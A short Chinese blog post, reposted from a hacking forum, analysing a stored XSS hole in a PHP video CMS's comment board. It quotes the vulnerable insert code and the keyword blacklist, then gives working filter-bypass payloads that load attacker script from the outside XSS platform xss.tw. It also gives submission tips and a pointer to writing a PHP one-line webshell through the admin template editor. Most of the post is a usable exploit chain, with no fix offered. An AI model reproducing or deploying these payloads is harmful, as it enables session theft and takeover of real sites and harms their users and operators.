# Team:c0deplay
gbk utf8 最新版本 的存储xss 分析
问题出在
plus/comment/index.php 页面
留言添加功能
function add()
// 这里其实可以用到宽字符的 sql注入的 没跟进
$c_content= iconv( ’UTF-8′, ’gb2312//IGNORE’ , $c_content);

$c_name = badFilter(unescape($c_name));
$c_content= badFilter(unescape($c_content));
$c_ip = getIP();
if (isN($c_name)){$c_name=”游客“; }
$c_addtime = date(‘Y-m-d H:i:s’,time());
if ($c_vid==”" || $c_name==”" || $c_content==”" ){
die(“<div id=’comment_load’>null</div>”);
}
$result = $db->query(“insert tbl_comment(c_name,c_content,c_ip,c_addtime,c_vid,c_type) values

(‘”.$c_name.”‘,’”.$c_content.”‘,’”.$c_ip.”‘,’”.$c_addtime.”‘,’”.$c_vid.”‘,’”.$c_type.”‘)”); //写入数据库

看 badFilter() inc/label.php

function badFilter($Str)
{
$filters=app_filter; // 常量
$badKeywordArr=explode(“,”,$filters); // explode 函数把字符串分割为数组
for ($s_i=0; $s_i<=count($badKeywordArr); $s_i=$s_i+1){
$Str=str_replace($badKeywordArr[$s_i],”***”,$Str); //函数使用一个字符串替换字符串中的另一些字符 循环替换关键词
}
$funresult=$Str;
return $funresult;
}
//看替换的关键词
config.php
define(“app_filter”,”http,//,com,cn,net,org,www”);

过滤的效果如下

 

过滤了 http // com cn net org www 这些关键词这是黑名单策略,绕过的exp是
其实第一个版本的exp是这样写的:<script>var url=document.location.href;var head=url.substring(0,7);document.write('<script src="'+head+'xss.tw/xxx"><\/script>');</script>

但是数据库的字段长度限制,所以这个exp太长才有了下面的exp

提交需要用代理提交,正常在留言板输入文字,然后修改成这个 exp,必须要ASCII编码转码提交

exp:
<script>var a=’h';var b=’:\/\/’;document.write(‘<script src=”‘+a+’ttp’+b+’xss.tw/xxx”><\/script>’);</script>

这样xss存储就诞生了。
留言板前台的效果:

进入后台修改模版处,可任意修改文件,替换路径和文件名就可写入php文件,一句话之。
转自:https://forum.90sec.org/thread-5360-1-1.html

转载文章请注明,转载自:小马's Blog https://www.i0day.com

本文链接: https://www.i0day.com/1200.html